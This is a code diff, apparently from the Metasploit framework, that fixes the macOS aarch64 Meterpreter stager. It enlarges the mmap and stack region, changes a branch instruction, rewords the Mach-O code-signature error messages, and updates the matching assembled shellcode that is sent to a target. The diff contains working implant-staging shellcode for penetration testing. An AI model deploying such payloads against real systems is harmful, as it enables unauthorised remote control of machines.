diff --git a/external/source/shellcode/osx/aarch64/stage_mettle.s b/external/source/shellcode/osx/aarch64/stage_mettle.s index 5f71870620..94f7df0977 100644 --- a/external/source/shellcode/osx/aarch64/stage_mettle.s +++ b/external/source/shellcode/osx/aarch64/stage_mettle.s @@ -74,9 +74,9 @@ _main: mov x15, x0 /* make stack space */ - /* mmap(addr=0, length=0x4000, prot=3, flags=0x1002, fd=0, offset=0) */ + /* mmap(addr=0, length=0x40000, prot=3, flags=0x1002, fd=0, offset=0) */ mov x0, xzr - mov x1, 0x4000 + mov x1, 0x40000 mov x2, 3 mov x3, 0x1002 mov x4, xzr @@ -86,13 +86,13 @@ _main: //mov x1, sp //bic sp, x1, #15 //sub sp, sp, 0x1000 - add x0, x0, 0x2000 + add x0, x0, 0x20000 mov sp, x0 mov x0, x13 /* jump to main_osx */ - blr x15 + br x15 failed: mov x0, 0 diff --git a/lib/msf/core/payload/macho.rb b/lib/msf/core/payload/macho.rb index c1687e4107..207844b80f 100644 --- a/lib/msf/core/payload/macho.rb +++ b/lib/msf/core/payload/macho.rb @@ -59,11 +59,11 @@ class Msf::Payload::MachO code_signature_index = @macho[:LC_CODE_SIGNATURE][0].dataoff code_signature = raw_data[code_signature_index..] s_magic, s_length, s_count, code_indexes = code_signature.unpack("N3a*") - raise "Invalid Magic!" if s_magic != 0xfade0cc0 + raise "Invalid kSecCodeMagicEmbeddedSignature magic for macho" if s_magic != 0xfade0cc0 indexes = code_indexes.unpack("N#{s_count*2}a*") code_directory = indexes.pop magic, length, version, flags, hash_offset, ident_offset, n_special_slots, n_code_slots, code_limit, hash_size, hash_type, platform, page_size, spare2, hash_list = code_directory.unpack("N9C4Na*") - raise "Invalid Magic2!" if magic != 0xfade0c02 + raise "Invalid kSecCodeMagicCodeDirectory magic for macho" if magic != 0xfade0c02 pagesize = 2**page_size page_index = 0 raw_data.bytes.each_slice(pagesize) do |page| diff --git a/modules/payloads/stages/osx/aarch64/meterpreter.rb b/modules/payloads/stages/osx/aarch64/meterpreter.rb index 3066d51c17..d8a2461968 100644 --- a/modules/payloads/stages/osx/aarch64/meterpreter.rb +++ b/modules/payloads/stages/osx/aarch64/meterpreter.rb @@ -91,17 +91,17 @@ module MetasploitModule 0xaa0b03ec, 0xaa0003ef, 0xaa1f03e0, - 0xd2880001, + 0xd2a00081, 0xd2800062, 0xd2820043, 0xaa1f03e4, 0xaa1f03e5, 0x58000230, 0xd4000001, - 0x91400800, + 0x91408000, 0x9100001f, 0xaa0d03e0, - 0xd63f01e0, + 0xd61f01e0, 0xd2800000, 0x58000210, 0xd4000001, @@ -120,7 +120,7 @@ module MetasploitModule 0x0200004a, 0x00000000, 0x02000001, - 0x00000000, + 0x00000000 ].pack("V*") print_status("Transmitting first stager...(#{midstager.length} bytes)") conn.put(midstager) == midstager.length